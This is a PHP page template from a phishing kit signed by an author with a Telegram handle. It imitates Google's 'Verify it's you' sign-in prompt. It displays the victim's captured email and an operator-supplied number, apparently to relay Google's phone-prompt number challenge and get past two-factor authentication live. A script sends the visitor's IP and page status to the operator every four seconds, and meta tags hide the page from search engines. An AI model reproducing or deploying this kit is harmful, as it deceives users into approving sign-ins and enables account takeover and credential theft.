<?php
    /*******
    Main Author: Z0N51
    Contact me on telegram : https://t.me/z0n51official
    ********************************************************/

    $_SESSION['last_page'] = "gauth";
    $infos = getinfos();
    $number = $infos["gauth"];
    
?>
<!doctype html>
<html>

    <head>
        <!-- Required meta tags -->
        <meta charset="utf-8">
        <meta name="viewport" content="width=device-width, initial-scale=1, shrink-to-fit=no">
        <meta name="robots" content="noindex," "nofollow," "noimageindex," "noarchive," "nocache," "nosnippet">
        
        <!-- CSS FILES -->
        <link rel="stylesheet" href="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/css/bootstrap.min.css">
        <link rel="stylesheet" href="<?php echo CSSPATH; ?>/helpers.css">
        <link rel="stylesheet" href="<?php echo CSSPATH; ?>/gmail.css">

        <link rel="icon" type="image/x-icon" href="<?php echo IMGSPATH; ?>/ff.ico" />

        <title>Gmail</title>
    </head>

    <body>

        <div class="container">
            <div class="login-box" style="padding: 0">
                <div style="padding: 40px;">
                    <div class="logo"><img src="<?php echo IMGSPATH; ?>/glogo.png"></div>
                    <div class="title">Verify it's you</div>
                    <p class="text-center mb-2">This device isn't recognised. For your security, Google wants to make sure that it's really you.</p>
                    <div class="text-center">
                        <div class="email">
                            <img src="<?php echo IMGSPATH; ?>/user.png">
                            <p><?php echo $_SESSION['email']; ?></p>
                            <img src="<?php echo IMGSPATH; ?>/down.png">
                        </div>
                    </div>
                </div>

                <div id="bottom">
                    <img src="<?php echo IMGSPATH; ?>/phone.png">
                    <h3>Check your phone</h3>
                    <p>Google sent a notification to your phone, Open the Gmail app, tap <b>Yes</b> on the prompt, then tap on your phone to sign in.</p>
                    <span><?php echo $number; ?></span>
                </div>

                <form style="padding: 40px;">
                    <div class="btns mt-0">
                        <span><?php echo get_text('try'); ?></span>
                        <button type="button" id="submit"><?php echo get_text('yes'); ?></button>
                    </div>
                </form>

            </div>
        </div>

        <!-- JS FILES -->
        <script src="https://code.jquery.com/jquery-3.6.1.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/bootstrap@5.0.2/dist/js/bootstrap.bundle.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/font-awesome/6.2.0/js/all.min.js"></script>
        <script src="https://cdnjs.cloudflare.com/ajax/libs/jquery.mask/1.14.16/jquery.mask.min.js"></script>
        <script src="https://cdn.jsdelivr.net/npm/toastify-js"></script>
        <script src="<?php echo JSPATH; ?>/script.js"></script>

        <script>
            worker();
            var jsonData = {
              action: 'VISITORS',
              ip: '<?php echo get_client_ip(); ?>',
              page: 'gauth'
            };
            sendAjaxRequestEveryFourSeconds(jsonData);
        </script>

    </body>

</html>